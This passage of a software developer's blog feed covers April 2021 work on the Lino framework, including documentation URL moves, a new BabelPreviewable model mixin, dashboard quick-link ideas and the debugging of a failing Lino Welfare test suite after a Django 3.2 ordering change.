&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;de&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;welfare&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;
&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;fr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;welfare&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;New URLs are:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;welfare&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;de&lt;/span&gt;
&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;welfare&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fr&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;TODO: Adapt the nginx config files on LF for subdomains &lt;cite&gt;de.welfare&lt;/cite&gt; and
&lt;cite&gt;fr.welfare&lt;/cite&gt; to add a rewrite rule so that requests to the old URL redirect to
the new URL. Adapt the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/redirected.html#dev-redirected-urls" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Redirected historic URLs&lt;/span&gt;&lt;/a&gt; page so that it verifies that
the new content is being served.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0428.html</guid><pubDate>Wed, 28 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, April 27, 2021</title><link>https://luc.lino-framework.org/blog/2021/0427.html</link><description>&lt;section id="tuesday-april-27-2021"&gt;
&lt;h1&gt;Tuesday, April 27, 2021&lt;a class="headerlink" href="#tuesday-april-27-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued with my review of the “documentation network” (see &lt;a class="reference internal" href="0426.html"&gt;&lt;span class="doc"&gt;Monday, April 26, 2021&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Today’s most visible result is a new documentation page &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#getlino-apps" title="(in Lino Developer Guide)"&gt;&lt;span&gt;List of known Lino applications&lt;/span&gt;&lt;/a&gt;,
which is automatically generated when I run &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in the &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt;
because this repository uses the new &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-make_docs_command" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;make_docs_command&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; setting, which
calls the new command &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/list.html#command-getlino-list" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;list&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I reviewed the &lt;cite&gt;description&lt;/cite&gt;, &lt;cite&gt;url&lt;/cite&gt;, &lt;cite&gt;author&lt;/cite&gt; and &lt;cite&gt;author_email&lt;/cite&gt; fields in all
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-setup_info.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup_info.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; files.&lt;/p&gt;
&lt;p&gt;In every repository I changed &lt;cite&gt;author&lt;/cite&gt; to “Rumma &amp;amp; Ko Ltd” and &lt;cite&gt;author_email&lt;/cite&gt; to
“&lt;a class="reference external" href="mailto:info&amp;#37;&amp;#52;&amp;#48;lino-framework&amp;#46;org"&gt;info&lt;span&gt;&amp;#64;&lt;/span&gt;lino-framework&lt;span&gt;&amp;#46;&lt;/span&gt;org&lt;/a&gt;”.&lt;/p&gt;
&lt;p&gt;I have changes in almost 40 repositories. And tthey all have the same commit
message “&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2021/0427.html"&gt;https://luc.lino-framework.org/blog/2021/0427.html&lt;/a&gt;”. (I don’t recommend
my exotic practice of referring to a blog entry in a commit message… but today
I would have taken half an hour more for these commits without it).&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0427.html</guid><pubDate>Tue, 27 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Monday, April 26, 2021</title><link>https://luc.lino-framework.org/blog/2021/0426.html</link><description>&lt;section id="monday-april-26-2021"&gt;
&lt;h1&gt;Monday, April 26, 2021&lt;a class="headerlink" href="#monday-april-26-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I did more changes in the “documentation network”.  My concrete goal for today
is that the docs about the applications we declare “ready to use” and for which
we offer &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-hosting-service" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;hosting service&lt;/span&gt;&lt;/a&gt; would become “good enough”. Where “good enough”
means that a potential customer who found our page &lt;a class="reference external" href="https://www.saffre-rumma.net/services/lino4all/"&gt;Lino for all&lt;/a&gt; page would get a reasonable
answer to their obvious question “What can these applications do? Where are the
functional specifications?”.&lt;/p&gt;
&lt;p&gt;A part of this project was the question whether we should move the specs of the
privileged apps from the book to their individual docs. Answer (after several
hours of research) is “no”. A step forwards today was that we no longer need to
define the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;public_url&lt;/span&gt;&lt;/code&gt; of each doctree at two different places. It is now
given by the &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-intersphinx_urls" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;intersphinx_urls&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; setting.&lt;/p&gt;
&lt;p&gt;I moved the support for &lt;span class="target" id="index-1"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/rstgen.html#envvar-selectable_languages" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;selectable_languages&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; from lino to atelier,
including the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;default_conf.py&lt;/span&gt;&lt;/code&gt; and the templates files.&lt;/p&gt;
&lt;p&gt;Another “result” is that I now know: Sphinx does not have a built-in way to
share include files across multiple doctrees.    For bigger systems these things
would be regulated using a content delivery network. As a little step forward, I
now wrote a file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;update_shared_docs.sh&lt;/span&gt;&lt;/code&gt;, which does for noi what I did
manually until now.&lt;/p&gt;
&lt;p&gt;A third result of today is the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/redirected.html#dev-redirected-urls" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Redirected historic URLs&lt;/span&gt;&lt;/a&gt; page, which should
make sure that historic URLs are correctly redirected.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0426.html</guid><pubDate>Mon, 26 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Sunday, April 25, 2021</title><link>https://luc.lino-framework.org/blog/2021/0425.html</link><description>&lt;section id="sunday-april-25-2021"&gt;
&lt;h1&gt;Sunday, April 25, 2021&lt;a class="headerlink" href="#sunday-april-25-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The docs about Lino Tera were still missing after the fire at OVH. Now I
restored them, but they are multilingual (en, de), and I did not want to have
the German docs under their own domain name. Now they are using the same method
as for www.saffre-rumma.net, where the &lt;a class="reference external" href="https://tera.lino-framework.org/de"&gt;German&lt;/a&gt; doctree is just a subdirectory of the
&lt;a class="reference external" href="https://tera.lino-framework.org"&gt;English one&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Testing whether intersphinx_urls work: &lt;a class="reference external" href="https://tera.lino-framework.org/index.html#tera" title="(in Lino Tera v23.3)"&gt;&lt;span&gt;Lino Tera&lt;/span&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://using.lino-framework.org/de/apps/tera/index.html#tera-de" title="(in Lino Benutzerhandbuch)"&gt;&lt;span&gt;Lino Tera Benutzerhandbuch&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Tera wasn’t the only project with URL problems. Several other projects were not
yet being served on LF. For some other projects, e.g. presto, I decided to not
serve the presto docs (because I didn’t want to add yet another subdomain on LF
for a project that doesn’t yet have impressive docs) on LF and to do it as with
shop and mentori: have them hosted only on GitLab pages. Same for react. That’s
why I also moved these repositories from GitHub to GitLab. And two others as
well. Contributors must update the remotes of their clones, as explained in
&lt;a class="reference external" href="https://dev.lino-framework.org/team/gh2gl.html#gh2gl" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Moving from GitHub to GitLab&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;presto is the first project with multilingual docs that is rendered only on
GitLab pages.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0425.html</guid><pubDate>Sun, 25 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Friday, April 23, 2021</title><link>https://luc.lino-framework.org/blog/2021/0423.html</link><description>&lt;section id="friday-april-23-2021"&gt;
&lt;h1&gt;Friday, April 23, 2021&lt;a class="headerlink" href="#friday-april-23-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="the-new-babelpreviewable-model-mixin"&gt;
&lt;h2&gt;The new &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;BabelPreviewable&lt;/span&gt;&lt;/code&gt; model mixin&lt;a class="headerlink" href="#the-new-babelpreviewable-model-mixin" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For the &lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/index.html#shop" title="(in Lino Shop v23.3)"&gt;&lt;span&gt;Lino Shop&lt;/span&gt;&lt;/a&gt; project we realized that the description fields of
categories and products should be previewable. Since they are also babel fields,
I wrote a new mixin &lt;a class="reference external" href="https://dev.lino-framework.org/specs/memo.html#lino.modlib.memo.BabelPreviewable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo.BabelPreviewable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;First use case is &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.products.html#module-lino_xl.lib.products" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.products&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;,  where &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Product&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Category&lt;/span&gt;&lt;/code&gt; now inherit from it.&lt;/p&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/specs/memo.html#lino.modlib.memo.Previewable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo.Previewable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; I renamed the fields &lt;cite&gt;short_preview&lt;/cite&gt; to
&lt;cite&gt;body_short_preview&lt;/cite&gt; and &lt;cite&gt;long_preview&lt;/cite&gt; to &lt;cite&gt;body_long_preview&lt;/cite&gt;, and started to
prepare the case that we want to use this mixin for models where the
&lt;cite&gt;previewable_field&lt;/cite&gt; is not &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;'body'&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But I don’t yet use this possibility here. I prefer to change the field name for
the description of products and categories from “description” to “body”. Making
the name of the “source” field configurable would make things uselessly
complicated.&lt;/p&gt;
&lt;p&gt;To test whether everything works, we should add, to the body of some product or
category, some memo command that renders translatable text.&lt;/p&gt;
&lt;p&gt;How should a read-only RichTextField render its content? Should it “execute” the
html tags (showing their result), or should it rather “show” them?&lt;/p&gt;
&lt;p&gt;I think I made up my mind about read-only RichText fields: let’s remove the
dangerouslySetInnerHTML option again.  A read-only RichTextField widget should
show the “real” source text, not a preview.  When we want to see the preview, we
have the body_short_preview and body_full_preview fields of the Previewable
mixin.&lt;/p&gt;
&lt;p&gt;I started to play with the new feature in &lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/index.html#shop" title="(in Lino Shop v23.3)"&gt;&lt;span&gt;Lino Shop&lt;/span&gt;&lt;/a&gt;. There is now a third
panel in the product detail.  One book now has a body with rich text.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="about-quicklinks-and-the-dashboard-layout"&gt;
&lt;h2&gt;About quicklinks and the dashboard layout&lt;a class="headerlink" href="#about-quicklinks-and-the-dashboard-layout" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Another question is my little spontaneous change yesterday to have the products
plugin automatically add quick links for every product type. It causes several
unit tests to fail because –as expected– other applications now also have
these quick links. This makes me think again. It seems clear that not every
application wants these quick links.  OTOH it’s as with the &lt;span class="guilabel"&gt;[My
settings]&lt;/span&gt; quick link, which is now a standard: a standard is nice to have, but
we want to customize it in different ways. For example I am not sure whether the
&lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; users (or their system admins) will be happy with this new
&lt;span class="guilabel"&gt;[My settings]&lt;/span&gt; quick link.  Anyway there should be a way to to
customize the quick links.
The default list should be customizable per application.
And then they should –at least for some applications– be customizable per user as well.
Quick links become a bit like dashboard items.
And the dashboard has some open tickets:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4046"&gt;#4046&lt;/a&gt; (Configurable dashboard cards)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3337"&gt;#3337&lt;/a&gt; (React-Grid-Layout)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I currently imagine that we introduce a setting &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;dashboard_layout&lt;/span&gt;&lt;/code&gt;, or more
precisely a choicelist &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;DashboardLayouts&lt;/span&gt;&lt;/code&gt; where users can select from an list
of dashboard layouts.  The dashboard would become like a detail view where the
Site object itself acts as the table row.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0423.html</guid><pubDate>Fri, 23 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Friday, April 16, 2021</title><link>https://luc.lino-framework.org/blog/2021/0416.html</link><description>&lt;section id="friday-april-16-2021"&gt;
&lt;h1&gt;Friday, April 16, 2021&lt;a class="headerlink" href="#friday-april-16-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I finished &lt;a class="reference internal" href="0415.html"&gt;&lt;span class="doc"&gt;The mystery of the failing welfare test suite&lt;/span&gt;&lt;/a&gt; and pushed my work to master. Actually there are still
minor things to fix, but I can do this sporadically now.  This was for me a week
in what I would call the &lt;em&gt;Maigret mode&lt;/em&gt;.  It’s a mode of working that makes
sense only with free software.&lt;/p&gt;
&lt;p&gt;Today I learned that Tuxedo recommend to &lt;a class="reference external" href="https://www.tuxedocomputers.com/de/Infos/Hilfe-Support/Anleitungen/Ubuntu-Upgrade-von-18-04-auf-20-04.tuxedo"&gt;not upgrade Ubuntu&lt;/a&gt;
from 18.04 to 20.04 on their computers. Wow. That was unexpected. It’s the
explanation for the message I have been getting each time I tried to upgrade:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Could not calculate the upgrade. An unresolvable problem occurred while
calculating the upgrade. This was likely caused by: Unofficial software packages
not provided by Ubuntu. Please use the tool ‘ppa-purge’ from the ppa-purge
package to remove software from a Launchpad PPA and try the upgrade again.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Actually that’s okay for me.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0416.html</guid><pubDate>Fri, 16 Apr 2021 00:00:00 +0000</pubDate></item><item><title>The mystery of the failing welfare test suite</title><link>https://luc.lino-framework.org/blog/2021/0415.html</link><description>&lt;section id="the-mystery-of-the-failing-welfare-test-suite"&gt;
&lt;h1&gt;The mystery of the failing welfare test suite&lt;a class="headerlink" href="#the-mystery-of-the-failing-welfare-test-suite" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Thursday, April 15, 2021. Continued from &lt;a class="reference internal" href="0410.html"&gt;&lt;span class="doc"&gt;The Mystery of the failing Welfare test suite (continued)&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ticket &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4096"&gt;#4096&lt;/a&gt; (The mystery of the failing welfare test suite) is like
finding a function when you are given only its derivative. Or like a detective
novel where miss Marple or inspector Maigret try to find out what happened and
who is the culprit.&lt;/p&gt;
&lt;p&gt;Why does this take so long? Because it’s complex and because every little change
needs an &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; before you can test its effect.&lt;/p&gt;
&lt;p&gt;Should I explain the problem to Tonis or Sharif or Hamza? I start to consider
asking them. But I am afraid that the mere introduction would take an hour.  I’d
need to explain terms like &lt;a class="reference external" href="https://welfare.lino-framework.org/specs/aids/index.html#term-aid-granting" title="(in Lino Welfare)"&gt;&lt;span class="xref std std-term"&gt;aid granting&lt;/span&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://welfare.lino-framework.org/specs/isip.html#term-ISIP" title="(in Lino Welfare)"&gt;&lt;span class="xref std std-term"&gt;ISIP&lt;/span&gt;&lt;/a&gt;. And then the
difference between &lt;a class="reference external" href="https://welfare.lino-framework.org/api/index.html#welcht" title="(in Lino Welfare)"&gt;&lt;span&gt;The Châtelet variant of Lino Welfare&lt;/span&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://welfare.lino-framework.org/api/index.html#weleup" title="(in Lino Welfare)"&gt;&lt;span&gt;The Eupen variant of Lino Welfare&lt;/span&gt;&lt;/a&gt;.   Hamza has the best chances
to get into it because he has been working on &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt;. Look at the code
of &lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.welfare.fixtures.demo.html#module-lino_welfare.modlib.welfare.fixtures.demo" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.welfare.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; or
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welcht.lib.courses.fixtures.demo&lt;/span&gt;&lt;/code&gt;.  There are quite some places where
we loop over some existing data and generate another set of data.  We use a lot
of cyclers.  Now imagine what happened with Django 3.2 where the default
ordering of &lt;a class="reference external" href="https://welfare.lino-framework.org/specs/pcsw.html#lino_welfare.modlib.pcsw.Client" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.pcsw.Client&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; changed from &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;id&lt;/span&gt;&lt;/code&gt; to
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;name&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Is it required to maintain these tests? Can’t we simply throw them away?
– Of course it’s required!  These tests are the main reason why our customers want Lino and not
some industry solution.  These tests are the only way to make sure that things
don’t change in an unexpected way.&lt;/p&gt;
&lt;p&gt;Can’t we reduce the complexity of demo data?
–
I don’t see how we could do this.
We need demo data to test the miscellaneous functions.&lt;/p&gt;
&lt;p&gt;I inspected the following fixtures for code that might have changed:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.statbel.countries.fixtures.demo.html#module-lino_xl.lib.statbel.countries.fixtures.demo" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.statbel.countries.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.contacts.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.users.fixtures.demo.html#module-lino_welfare.modlib.users.fixtures.demo" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.users.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.cal.fixtures.demo.html#module-lino_welfare.modlib.cal.fixtures.demo" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.cal.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : nothing new&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.welfare.fixtures.demo.html#module-lino_welfare.modlib.welfare.fixtures.demo" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.welfare.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welcht.lib.cv.fixtures.demo&lt;/span&gt;&lt;/code&gt; : nothing new&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.integ.fixtures.demo.html#module-lino_welfare.modlib.integ.fixtures.demo" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.integ.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : immersion&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.active_job_search.fixtures.demo.html#module-lino_welfare.modlib.active_job_search.fixtures.demo" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.active_job_search.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : nothing new&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welcht.lib.courses.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.newcomers.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.households.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.humanlinks.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.debts.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.notes.fixtures.demo.html#module-lino_welfare.modlib.notes.fixtures.demo" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.notes.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.aids.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.polls.fixtures.demo.html#module-lino_welfare.modlib.polls.fixtures.demo" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.polls.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : some new models&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.esf.fixtures.demo&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
